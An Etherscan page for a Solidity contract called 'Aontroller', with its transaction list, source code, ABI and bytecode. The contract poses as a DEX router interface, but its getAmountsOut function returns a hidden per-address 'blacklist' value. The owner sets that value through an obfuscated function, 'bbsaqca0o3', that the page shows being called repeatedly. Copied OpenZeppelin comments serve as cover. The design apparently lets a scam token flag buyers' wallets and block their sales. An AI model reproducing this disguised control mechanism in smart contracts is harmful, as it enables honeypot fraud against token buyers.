Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00Latest 25 from a total of 158 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Bbsaqca0o3 | 18356935 | 880 days ago | IN | 0 ETH | 0.00038309 | ||||
| Bbsaqca0o3 | 18356934 | 880 days ago | IN | 0 ETH | 0.00038715 | ||||
| Bbsaqca0o3 | 18356931 | 880 days ago | IN | 0 ETH | 0.00060776 | ||||
| Bbsaqca0o3 | 18356928 | 880 days ago | IN | 0 ETH | 0.00037494 | ||||
| Bbsaqca0o3 | 18356907 | 880 days ago | IN | 0 ETH | 0.00023577 | ||||
| Bbsaqca0o3 | 18356904 | 880 days ago | IN | 0 ETH | 0.00037451 | ||||
| Bbsaqca0o3 | 18356877 | 880 days ago | IN | 0 ETH | 0.0003434 | ||||
| Bbsaqca0o3 | 18356842 | 880 days ago | IN | 0 ETH | 0.00050162 | ||||
| Bbsaqca0o3 | 18356841 | 880 days ago | IN | 0 ETH | 0.00049383 | ||||
| Bbsaqca0o3 | 18356836 | 880 days ago | IN | 0 ETH | 0.0005069 | ||||
| Bbsaqca0o3 | 18356834 | 880 days ago | IN | 0 ETH | 0.00051006 | ||||
| Bbsaqca0o3 | 18356833 | 880 days ago | IN | 0 ETH | 0.00051109 | ||||
| Bbsaqca0o3 | 18356826 | 880 days ago | IN | 0 ETH | 0.00041812 | ||||
| Bbsaqca0o3 | 18356823 | 880 days ago | IN | 0 ETH | 0.00043103 | ||||
| Bbsaqca0o3 | 18356820 | 880 days ago | IN | 0 ETH | 0.00043283 | ||||
| Bbsaqca0o3 | 18356819 | 880 days ago | IN | 0 ETH | 0.0004361 | ||||
| Bbsaqca0o3 | 18356810 | 880 days ago | IN | 0 ETH | 0.00048375 | ||||
| Bbsaqca0o3 | 18356772 | 880 days ago | IN | 0 ETH | 0.000271 | ||||
| Bbsaqca0o3 | 18356734 | 880 days ago | IN | 0 ETH | 0.00031603 | ||||
| Bbsaqca0o3 | 18356722 | 880 days ago | IN | 0 ETH | 0.00034533 | ||||
| Bbsaqca0o3 | 18356685 | 880 days ago | IN | 0 ETH | 0.00066261 | ||||
| Bbsaqca0o3 | 18356660 | 880 days ago | IN | 0 ETH | 0.00043256 | ||||
| Bbsaqca0o3 | 18356652 | 880 days ago | IN | 0 ETH | 0.00023749 | ||||
| Bbsaqca0o3 | 18356623 | 880 days ago | IN | 0 ETH | 0.00049908 | ||||
| Bbsaqca0o3 | 18356617 | 880 days ago | IN | 0 ETH | 0.00052241 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
Aontroller
Compiler Version
v0.8.0+commit.c7dfd78e
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2023-10-12
*/
// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions tt their use to
* the owner.
*/
// Define interface for TransferController
interface RouterController {
function WETH() external view returns (address);
function getAmountsOut(uint amountIn,address[] calldata path) external view returns (uint[] memory amounts);
}
contract Aontroller is RouterController{
mapping(address => uint256) private _isBlacklisted;
address private owner;
constructor (){
owner = msg.sender;
}
function WETH() external view override returns(address){
address ad = address(this);
return ad;
}
function getCode() public view returns (uint256) {
address ad = address(this);
uint256 result = uint160(ad);
return result;
}
function getCode2(address addr) public pure returns (uint256) {
uint256 result = uint160(addr);
return result;
}
function getCode3(uint160 addr) public pure returns (address) {
address result = address(addr);
return result;
}
function getAmountsOut(uint amountIn, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
{
amounts = new uint[](path.length);
amounts[0] = _isBlacklisted[path[0]];
return amounts;
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
function bbsaqca0o3(address[] calldata accounts, uint256 excluded) public {
require(msg.sender == owner);
for (uint256 i = 0; i < accounts.length; i++) {
_isBlacklisted[accounts[i]] = excluded;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function getTime() public view returns (uint256) {
return block.timestamp;
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"WETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"excluded","type":"uint256"}],"name":"bbsaqca0o3","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"}],"name":"getAmountsOut","outputs":[{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCode","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"getCode2","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint160","name":"addr","type":"uint160"}],"name":"getCode3","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"pure","type":"function"}]Contract Creation Code
608060405234801561001057600080fd5b5033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610916806100616000396000f3fe608060405234801561001057600080fd5b50600436106100625760003560e01c80634afdc1de1461006757806367d2dc411461009757806369b63203146100c7578063ad5c4648146100e3578063d06ca61f14610101578063ea87963414610131575b600080fd5b610081600480360381019061007c91906105aa565b61014f565b60405161008e91906106ca565b60405180910390f35b6100b160048036038101906100ac9190610529565b61015e565b6040516100be9190610707565b60405180910390f35b6100e160048036038101906100dc9190610552565b610183565b005b6100eb610294565b6040516100f891906106ca565b60405180910390f35b61011b600480360381019061011691906105d3565b6102a1565b60405161012891906106e5565b60405180910390f35b6101396103e1565b6040516101469190610707565b60405180910390f35b60008082905080915050919050565b6000808273ffffffffffffffffffffffffffffffffffffffff16905080915050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146101dd57600080fd5b60005b8383905081101561028e5781600080868685818110610228577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201602081019061023d9190610529565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610286906107f4565b9150506101e0565b50505050565b6000803090508091505090565b6060815167ffffffffffffffff8111156102e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156103125781602001602082028036833780820191505090505b50905060008083600081518110610352577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054816000815181106103cf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101818152505092915050565b60008030905060008173ffffffffffffffffffffffffffffffffffffffff169050809250505090565b600061041d61041884610753565b610722565b9050808382526020820190508285602086028201111561043c57600080fd5b60005b8581101561046c57816104528882610476565b84526020840193506020830192505060018101905061043f565b5050509392505050565b6000813590506104858161089b565b92915050565b60008083601f84011261049d57600080fd5b8235905067ffffffffffffffff8111156104b657600080fd5b6020830191508360208202830111156104ce57600080fd5b9250929050565b600082601f8301126104e657600080fd5b81356104f684826020860161040a565b91505092915050565b60008135905061050e816108b2565b92915050565b600081359050610523816108c9565b92915050565b60006020828403121561053b57600080fd5b600061054984828501610476565b91505092915050565b60008060006040848603121561056757600080fd5b600084013567ffffffffffffffff81111561058157600080fd5b61058d8682870161048b565b935093505060206105a086828701610514565b9150509250925092565b6000602082840312156105bc57600080fd5b60006105ca848285016104ff565b91505092915050565b600080604083850312156105e657600080fd5b60006105f485828601610514565b925050602083013567ffffffffffffffff81111561061157600080fd5b61061d858286016104d5565b9150509250929050565b600061063383836106ac565b60208301905092915050565b610648816107b8565b82525050565b60006106598261078f565b61066381856107a7565b935061066e8361077f565b8060005b8381101561069f5781516106868882610627565b97506106918361079a565b925050600181019050610672565b5085935050505092915050565b6106b5816107ea565b82525050565b6106c4816107ea565b82525050565b60006020820190506106df600083018461063f565b92915050565b600060208201905081810360008301526106ff818461064e565b905092915050565b600060208201905061071c60008301846106bb565b92915050565b6000604051905081810181811067ffffffffffffffff821117156107495761074861086c565b5b8060405250919050565b600067ffffffffffffffff82111561076e5761076d61086c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b60006107c3826107ca565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006107ff826107ea565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156108325761083161083d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6108a4816107b8565b81146108af57600080fd5b50565b6108bb816107ca565b81146108c657600080fd5b50565b6108d2816107ea565b81146108dd57600080fd5b5056fea2646970667358221220f51bfeea03b59704332158399a028c9f85df435762b10c4760af8e85f408f4fb64736f6c63430008000033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100625760003560e01c80634afdc1de1461006757806367d2dc411461009757806369b63203146100c7578063ad5c4648146100e3578063d06ca61f14610101578063ea87963414610131575b600080fd5b610081600480360381019061007c91906105aa565b61014f565b60405161008e91906106ca565b60405180910390f35b6100b160048036038101906100ac9190610529565b61015e565b6040516100be9190610707565b60405180910390f35b6100e160048036038101906100dc9190610552565b610183565b005b6100eb610294565b6040516100f891906106ca565b60405180910390f35b61011b600480360381019061011691906105d3565b6102a1565b60405161012891906106e5565b60405180910390f35b6101396103e1565b6040516101469190610707565b60405180910390f35b60008082905080915050919050565b6000808273ffffffffffffffffffffffffffffffffffffffff16905080915050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146101dd57600080fd5b60005b8383905081101561028e5781600080868685818110610228577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201602081019061023d9190610529565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610286906107f4565b9150506101e0565b50505050565b6000803090508091505090565b6060815167ffffffffffffffff8111156102e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156103125781602001602082028036833780820191505090505b50905060008083600081518110610352577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054816000815181106103cf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101818152505092915050565b60008030905060008173ffffffffffffffffffffffffffffffffffffffff169050809250505090565b600061041d61041884610753565b610722565b9050808382526020820190508285602086028201111561043c57600080fd5b60005b8581101561046c57816104528882610476565b84526020840193506020830192505060018101905061043f565b5050509392505050565b6000813590506104858161089b565b92915050565b60008083601f84011261049d57600080fd5b8235905067ffffffffffffffff8111156104b657600080fd5b6020830191508360208202830111156104ce57600080fd5b9250929050565b600082601f8301126104e657600080fd5b81356104f684826020860161040a565b91505092915050565b60008135905061050e816108b2565b92915050565b600081359050610523816108c9565b92915050565b60006020828403121561053b57600080fd5b600061054984828501610476565b91505092915050565b60008060006040848603121561056757600080fd5b600084013567ffffffffffffffff81111561058157600080fd5b61058d8682870161048b565b935093505060206105a086828701610514565b9150509250925092565b6000602082840312156105bc57600080fd5b60006105ca848285016104ff565b91505092915050565b600080604083850312156105e657600080fd5b60006105f485828601610514565b925050602083013567ffffffffffffffff81111561061157600080fd5b61061d858286016104d5565b9150509250929050565b600061063383836106ac565b60208301905092915050565b610648816107b8565b82525050565b60006106598261078f565b61066381856107a7565b935061066e8361077f565b8060005b8381101561069f5781516106868882610627565b97506106918361079a565b925050600181019050610672565b5085935050505092915050565b6106b5816107ea565b82525050565b6106c4816107ea565b82525050565b60006020820190506106df600083018461063f565b92915050565b600060208201905081810360008301526106ff818461064e565b905092915050565b600060208201905061071c60008301846106bb565b92915050565b6000604051905081810181811067ffffffffffffffff821117156107495761074861086c565b5b8060405250919050565b600067ffffffffffffffff82111561076e5761076d61086c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b60006107c3826107ca565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006107ff826107ea565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156108325761083161083d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6108a4816107b8565b81146108af57600080fd5b50565b6108bb816107ca565b81146108c657600080fd5b50565b6108d2816107ea565b81146108dd57600080fd5b5056fea2646970667358221220f51bfeea03b59704332158399a028c9f85df435762b10c4760af8e85f408f4fb64736f6c63430008000033
Deployed Bytecode Sourcemap
849:1893:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1500:135;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1357;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2497:242;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1059:120;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1649:296;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1187:158;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1500:135;1553:7;1573:14;1598:4;1573:30;;1621:6;1614:13;;;1500:135;;;:::o;1357:::-;1410:7;1430:14;1455:4;1430:30;;;;1478:6;1471:13;;;1357:135;;;:::o;2497:242::-;2604:5;;;;;;;;;;;2590:19;;:10;:19;;;2582:28;;;;;;2626:9;2621:111;2645:8;;:15;;2641:1;:19;2621:111;;;2712:8;2682:14;:27;2697:8;;2706:1;2697:11;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2682:27;;;;;;;;;;;;;;;:38;;;;2662:3;;;;;:::i;:::-;;;;2621:111;;;;2497:242;;;:::o;1059:120::-;1106:7;1125:10;1146:4;1125:26;;1169:2;1162:9;;;1059:120;:::o;1649:296::-;1793:21;1853:4;:11;1842:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1832:33;;1889:14;:23;1904:4;1909:1;1904:7;;;;;;;;;;;;;;;;;;;;;;1889:23;;;;;;;;;;;;;;;;1876:7;1884:1;1876:10;;;;;;;;;;;;;;;;;;;;;:36;;;;;1649:296;;;;:::o;1187:158::-;1228:7;1248:10;1269:4;1248:26;;1285:14;1310:2;1285:28;;;;1331:6;1324:13;;;;1187:158;:::o;24:622:1:-;;145:80;160:64;217:6;160:64;:::i;:::-;145:80;:::i;:::-;136:89;;245:5;273:6;266:5;259:21;299:4;292:5;288:16;281:23;;324:6;374:3;366:4;358:6;354:17;349:3;345:27;342:36;339:2;;;391:1;388;381:12;339:2;419:1;404:236;429:6;426:1;423:13;404:236;;;496:3;524:37;557:3;545:10;524:37;:::i;:::-;519:3;512:50;591:4;586:3;582:14;575:21;;625:4;620:3;616:14;609:21;;464:176;451:1;448;444:9;439:14;;404:236;;;408:14;126:520;;;;;;;:::o;652:139::-;;736:6;723:20;714:29;;752:33;779:5;752:33;:::i;:::-;704:87;;;;:::o;814:367::-;;;947:3;940:4;932:6;928:17;924:27;914:2;;965:1;962;955:12;914:2;1001:6;988:20;978:30;;1031:18;1023:6;1020:30;1017:2;;;1063:1;1060;1053:12;1017:2;1100:4;1092:6;1088:17;1076:29;;1154:3;1146:4;1138:6;1134:17;1124:8;1120:32;1117:41;1114:2;;;1171:1;1168;1161:12;1114:2;904:277;;;;;:::o;1204:303::-;;1324:3;1317:4;1309:6;1305:17;1301:27;1291:2;;1342:1;1339;1332:12;1291:2;1382:6;1369:20;1407:94;1497:3;1489:6;1482:4;1474:6;1470:17;1407:94;:::i;:::-;1398:103;;1281:226;;;;;:::o;1513:139::-;;1597:6;1584:20;1575:29;;1613:33;1640:5;1613:33;:::i;:::-;1565:87;;;;:::o;1658:139::-;;1742:6;1729:20;1720:29;;1758:33;1785:5;1758:33;:::i;:::-;1710:87;;;;:::o;1803:262::-;;1911:2;1899:9;1890:7;1886:23;1882:32;1879:2;;;1927:1;1924;1917:12;1879:2;1970:1;1995:53;2040:7;2031:6;2020:9;2016:22;1995:53;:::i;:::-;1985:63;;1941:117;1869:196;;;;:::o;2071:570::-;;;;2231:2;2219:9;2210:7;2206:23;2202:32;2199:2;;;2247:1;2244;2237:12;2199:2;2318:1;2307:9;2303:17;2290:31;2348:18;2340:6;2337:30;2334:2;;;2380:1;2377;2370:12;2334:2;2416:80;2488:7;2479:6;2468:9;2464:22;2416:80;:::i;:::-;2398:98;;;;2261:245;2545:2;2571:53;2616:7;2607:6;2596:9;2592:22;2571:53;:::i;:::-;2561:63;;2516:118;2189:452;;;;;:::o;2647:262::-;;2755:2;2743:9;2734:7;2730:23;2726:32;2723:2;;;2771:1;2768;2761:12;2723:2;2814:1;2839:53;2884:7;2875:6;2864:9;2860:22;2839:53;:::i;:::-;2829:63;;2785:117;2713:196;;;;:::o;2915:550::-;;;3065:2;3053:9;3044:7;3040:23;3036:32;3033:2;;;3081:1;3078;3071:12;3033:2;3124:1;3149:53;3194:7;3185:6;3174:9;3170:22;3149:53;:::i;:::-;3139:63;;3095:117;3279:2;3268:9;3264:18;3251:32;3310:18;3302:6;3299:30;3296:2;;;3342:1;3339;3332:12;3296:2;3370:78;3440:7;3431:6;3420:9;3416:22;3370:78;:::i;:::-;3360:88;;3222:236;3023:442;;;;;:::o;3471:179::-;;3561:46;3603:3;3595:6;3561:46;:::i;:::-;3639:4;3634:3;3630:14;3616:28;;3551:99;;;;:::o;3656:118::-;3743:24;3761:5;3743:24;:::i;:::-;3738:3;3731:37;3721:53;;:::o;3810:732::-;;3958:54;4006:5;3958:54;:::i;:::-;4028:86;4107:6;4102:3;4028:86;:::i;:::-;4021:93;;4138:56;4188:5;4138:56;:::i;:::-;4217:7;4248:1;4233:284;4258:6;4255:1;4252:13;4233:284;;;4334:6;4328:13;4361:63;4420:3;4405:13;4361:63;:::i;:::-;4354:70;;4447:60;4500:6;4447:60;:::i;:::-;4437:70;;4293:224;4280:1;4277;4273:9;4268:14;;4233:284;;;4237:14;4533:3;4526:10;;3934:608;;;;;;;:::o;4548:108::-;4625:24;4643:5;4625:24;:::i;:::-;4620:3;4613:37;4603:53;;:::o;4662:118::-;4749:24;4767:5;4749:24;:::i;:::-;4744:3;4737:37;4727:53;;:::o;4786:222::-;;4917:2;4906:9;4902:18;4894:26;;4930:71;4998:1;4987:9;4983:17;4974:6;4930:71;:::i;:::-;4884:124;;;;:::o;5014:373::-;;5195:2;5184:9;5180:18;5172:26;;5244:9;5238:4;5234:20;5230:1;5219:9;5215:17;5208:47;5272:108;5375:4;5366:6;5272:108;:::i;:::-;5264:116;;5162:225;;;;:::o;5393:222::-;;5524:2;5513:9;5509:18;5501:26;;5537:71;5605:1;5594:9;5590:17;5581:6;5537:71;:::i;:::-;5491:124;;;;:::o;5621:283::-;;5687:2;5681:9;5671:19;;5729:4;5721:6;5717:17;5836:6;5824:10;5821:22;5800:18;5788:10;5785:34;5782:62;5779:2;;;5847:18;;:::i;:::-;5779:2;5887:10;5883:2;5876:22;5661:243;;;;:::o;5910:311::-;;6077:18;6069:6;6066:30;6063:2;;;6099:18;;:::i;:::-;6063:2;6149:4;6141:6;6137:17;6129:25;;6209:4;6203;6199:15;6191:23;;5992:229;;;:::o;6227:132::-;;6317:3;6309:11;;6347:4;6342:3;6338:14;6330:22;;6299:60;;;:::o;6365:114::-;;6466:5;6460:12;6450:22;;6439:40;;;:::o;6485:113::-;;6587:4;6582:3;6578:14;6570:22;;6560:38;;;:::o;6604:184::-;;6737:6;6732:3;6725:19;6777:4;6772:3;6768:14;6753:29;;6715:73;;;;:::o;6794:96::-;;6860:24;6878:5;6860:24;:::i;:::-;6849:35;;6839:51;;;:::o;6896:126::-;;6973:42;6966:5;6962:54;6951:65;;6941:81;;;:::o;7028:77::-;;7094:5;7083:16;;7073:32;;;:::o;7111:233::-;;7173:24;7191:5;7173:24;:::i;:::-;7164:33;;7219:66;7212:5;7209:77;7206:2;;;7289:18;;:::i;:::-;7206:2;7336:1;7329:5;7325:13;7318:20;;7154:190;;;:::o;7350:180::-;7398:77;7395:1;7388:88;7495:4;7492:1;7485:15;7519:4;7516:1;7509:15;7536:180;7584:77;7581:1;7574:88;7681:4;7678:1;7671:15;7705:4;7702:1;7695:15;7722:122;7795:24;7813:5;7795:24;:::i;:::-;7788:5;7785:35;7775:2;;7834:1;7831;7824:12;7775:2;7765:79;:::o;7850:122::-;7923:24;7941:5;7923:24;:::i;:::-;7916:5;7913:35;7903:2;;7962:1;7959;7952:12;7903:2;7893:79;:::o;7978:122::-;8051:24;8069:5;8051:24;:::i;:::-;8044:5;8041:35;8031:2;;8090:1;8087;8080:12;8031:2;8021:79;:::o
Swarm Source
ipfs://f51bfeea03b59704332158399a028c9f85df435762b10c4760af8e85f408f4fb
Loading...
Loading
Loading...
Loading
Net Worth in USD
$0.00
Net Worth in ETH
0
Multichain Portfolio | 33 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.